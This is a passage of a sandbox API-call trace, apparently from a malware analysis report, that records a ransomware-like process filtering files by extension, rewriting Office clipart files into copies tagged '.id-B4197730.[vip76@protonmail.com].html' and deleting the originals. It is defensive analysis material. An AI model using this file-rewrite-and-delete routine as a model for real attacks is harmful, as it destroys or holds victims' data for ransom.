	[0073.190] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.190] lstrlenW (lpString=".ppt") returned 4
	[0073.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0073.190] lstrlenW (lpString=".zip") returned 4
	[0073.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.190] lstrlenW (lpString=".rar") returned 4
	[0073.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.190] lstrlenW (lpString=".bz2") returned 4
	[0073.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.190] lstrlenW (lpString=".7z") returned 3
	[0073.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0073.190] lstrlenW (lpString=".dbf") returned 4
	[0073.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0073.190] lstrlenW (lpString=".1cd") returned 4
	[0073.190] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 68
	[0073.190] lstrlenW (lpString=".jpg") returned 4
	[0073.190] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.190] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0073.190] lstrlenW (lpString="BD09194_.WMF") returned 12
	[0073.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0073.191] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=14540) returned 1
	[0073.191] CloseHandle (hObject=0x2c0) returned 1
	[0073.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 0x220
	[0073.191] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0073.192] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.192] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0073.192] GetLastError () returned 0x0
	[0073.192] ReadFile (in: hFile=0x2c0, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x38cc, lpOverlapped=0x0) returned 1
	[0073.194] WriteFile (in: hFile=0x390, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x38d0, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x38d0, lpOverlapped=0x0) returned 1
	[0073.195] ReadFile (in: hFile=0x2c0, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.195] WriteFile (in: hFile=0x390, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0073.195] SetEndOfFile (hFile=0x390) returned 1
	[0073.196] CloseHandle (hObject=0x390) returned 1
	[0073.196] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.197] SetEndOfFile (hFile=0x2c0) returned 1
	[0073.197] CloseHandle (hObject=0x2c0) returned 1
	[0073.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0073.198] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09194_.wmf")) returned 1
	[0073.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0073.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0073.198] lstrlenW (lpString=".doc") returned 4
	[0073.198] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.198] lstrlenW (lpString=".docx") returned 5
	[0073.198] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.198] lstrlenW (lpString=".pdf") returned 4
	[0073.198] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.198] lstrlenW (lpString=".xls") returned 4
	[0073.198] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.198] lstrlenW (lpString=".xlsx") returned 5
	[0073.198] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.199] lstrlenW (lpString=".ppt") returned 4
	[0073.199] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0073.199] lstrlenW (lpString=".zip") returned 4
	[0073.199] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.199] lstrlenW (lpString=".rar") returned 4
	[0073.199] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.199] lstrlenW (lpString=".bz2") returned 4
	[0073.199] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.199] lstrlenW (lpString=".7z") returned 3
	[0073.199] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0073.199] lstrlenW (lpString=".dbf") returned 4
	[0073.199] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0073.199] lstrlenW (lpString=".1cd") returned 4
	[0073.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0073.199] lstrlenW (lpString=".jpg") returned 4
	[0073.199] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0073.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0073.199] lstrlenW (lpString=".doc") returned 4
	[0073.199] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.199] lstrlenW (lpString=".docx") returned 5
	[0073.199] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.199] lstrlenW (lpString=".pdf") returned 4
	[0073.199] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.199] lstrlenW (lpString=".xls") returned 4
	[0073.199] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.199] lstrlenW (lpString=".xlsx") returned 5
	[0073.200] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.200] lstrlenW (lpString=".ppt") returned 4
	[0073.200] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0073.200] lstrlenW (lpString=".zip") returned 4
	[0073.200] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.200] lstrlenW (lpString=".rar") returned 4
	[0073.200] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.200] lstrlenW (lpString=".bz2") returned 4
	[0073.200] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.200] lstrlenW (lpString=".7z") returned 3
	[0073.200] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0073.200] lstrlenW (lpString=".dbf") returned 4
	[0073.200] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0073.200] lstrlenW (lpString=".1cd") returned 4
	[0073.200] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09194_.WMF") returned 68
	[0073.200] lstrlenW (lpString=".jpg") returned 4
	[0073.200] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.200] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0073.200] lstrlenW (lpString="BD09662_.WMF") returned 12
	[0073.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0073.201] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=20554) returned 1
	[0073.201] CloseHandle (hObject=0x2c0) returned 1
	[0073.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 0x220
	[0073.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0073.201] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.201] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0073.201] GetLastError () returned 0x0
	[0073.201] ReadFile (in: hFile=0x2c0, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x504a, lpOverlapped=0x0) returned 1
	[0073.203] WriteFile (in: hFile=0x390, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x5050, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x5050, lpOverlapped=0x0) returned 1
	[0073.205] ReadFile (in: hFile=0x2c0, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.205] WriteFile (in: hFile=0x390, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0073.205] SetEndOfFile (hFile=0x390) returned 1
	[0073.205] CloseHandle (hObject=0x390) returned 1
	[0073.206] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.206] SetEndOfFile (hFile=0x2c0) returned 1
	[0073.207] CloseHandle (hObject=0x2c0) returned 1
	[0073.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0073.207] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09662_.wmf")) returned 1
	[0073.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0073.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0073.208] lstrlenW (lpString=".doc") returned 4
	[0073.208] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.208] lstrlenW (lpString=".docx") returned 5
	[0073.208] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.208] lstrlenW (lpString=".pdf") returned 4
	[0073.208] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.208] lstrlenW (lpString=".xls") returned 4
	[0073.208] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.208] lstrlenW (lpString=".xlsx") returned 5
	[0073.208] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.208] lstrlenW (lpString=".ppt") returned 4
	[0073.208] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0073.208] lstrlenW (lpString=".zip") returned 4
	[0073.208] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.208] lstrlenW (lpString=".rar") returned 4
	[0073.208] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.208] lstrlenW (lpString=".bz2") returned 4
	[0073.208] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.208] lstrlenW (lpString=".7z") returned 3
	[0073.208] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0073.208] lstrlenW (lpString=".dbf") returned 4
	[0073.208] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0073.208] lstrlenW (lpString=".1cd") returned 4
	[0073.208] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0073.208] lstrlenW (lpString=".jpg") returned 4
	[0073.208] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0073.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0073.209] lstrlenW (lpString=".doc") returned 4
	[0073.209] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.209] lstrlenW (lpString=".docx") returned 5
	[0073.209] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.209] lstrlenW (lpString=".pdf") returned 4
	[0073.209] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.209] lstrlenW (lpString=".xls") returned 4
	[0073.209] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.209] lstrlenW (lpString=".xlsx") returned 5
	[0073.209] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.209] lstrlenW (lpString=".ppt") returned 4
	[0073.209] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0073.209] lstrlenW (lpString=".zip") returned 4
	[0073.209] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.209] lstrlenW (lpString=".rar") returned 4
	[0073.209] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.209] lstrlenW (lpString=".bz2") returned 4
	[0073.209] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.209] lstrlenW (lpString=".7z") returned 3
	[0073.209] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0073.209] lstrlenW (lpString=".dbf") returned 4
	[0073.209] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0073.209] lstrlenW (lpString=".1cd") returned 4
	[0073.209] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09662_.WMF") returned 68
	[0073.209] lstrlenW (lpString=".jpg") returned 4
	[0073.209] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.210] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0073.210] lstrlenW (lpString="BD09664_.WMF") returned 12
	[0073.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0073.210] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x375ff14 | out: lpFileSize=0x375ff14*=7966) returned 1
	[0073.210] CloseHandle (hObject=0x2c0) returned 1
	[0073.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x220
	[0073.210] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0073.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0073.210] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.210] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0073.211] GetLastError () returned 0x0
	[0073.211] ReadFile (in: hFile=0x2c0, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x1f1e, lpOverlapped=0x0) returned 1
	[0073.214] WriteFile (in: hFile=0x390, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0x1f20, lpOverlapped=0x0) returned 1
	[0073.215] ReadFile (in: hFile=0x2c0, lpBuffer=0x4124020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x375fecc, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesRead=0x375fecc*=0x0, lpOverlapped=0x0) returned 1
	[0073.215] WriteFile (in: hFile=0x390, lpBuffer=0x4124020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x375fc94, lpOverlapped=0x0 | out: lpBuffer=0x4124020*, lpNumberOfBytesWritten=0x375fc94*=0xec, lpOverlapped=0x0) returned 1
	[0073.215] SetEndOfFile (hFile=0x390) returned 1
	[0073.215] CloseHandle (hObject=0x390) returned 1
	[0073.216] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x375fec0 | out: lpNewFilePointer=0x0) returned 1
	[0073.216] SetEndOfFile (hFile=0x2c0) returned 1
	[0073.217] CloseHandle (hObject=0x2c0) returned 1
	[0073.217] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0073.217] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 1
	[0073.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0073.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0073.218] lstrlenW (lpString=".doc") returned 4
	[0073.218] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.218] lstrlenW (lpString=".docx") returned 5
	[0073.218] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.218] lstrlenW (lpString=".pdf") returned 4
	[0073.218] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.218] lstrlenW (lpString=".xls") returned 4
	[0073.218] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.218] lstrlenW (lpString=".xlsx") returned 5
	[0073.218] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0073.218] lstrlenW (lpString=".ppt") returned 4
	[0073.218] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0073.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0073.218] lstrlenW (lpString=".zip") returned 4
	[0073.218] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0073.218] lstrlenW (lpString=".rar") returned 4
	[0073.218] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0073.218] lstrlenW (lpString=".bz2") returned 4
	[0073.218] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0073.218] lstrlenW (lpString=".7z") returned 3
	[0073.218] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0073.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0073.218] lstrlenW (lpString=".dbf") returned 4
	[0073.218] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0073.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0073.218] lstrlenW (lpString=".1cd") returned 4
	[0073.219] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0073.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0073.219] lstrlenW (lpString=".jpg") returned 4
	[0073.219] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0073.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0073.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68
	[0073.219] lstrlenW (lpString=".doc") returned 4
	[0073.219] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0073.219] lstrlenW (lpString=".docx") returned 5
	[0073.219] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0073.219] lstrlenW (lpString=".pdf") returned 4
	[0073.219] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0073.219] lstrlenW (lpString=".xls") returned 4
	[0073.219] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0073.219] lstrlenW (lpString=".xlsx") returned 5
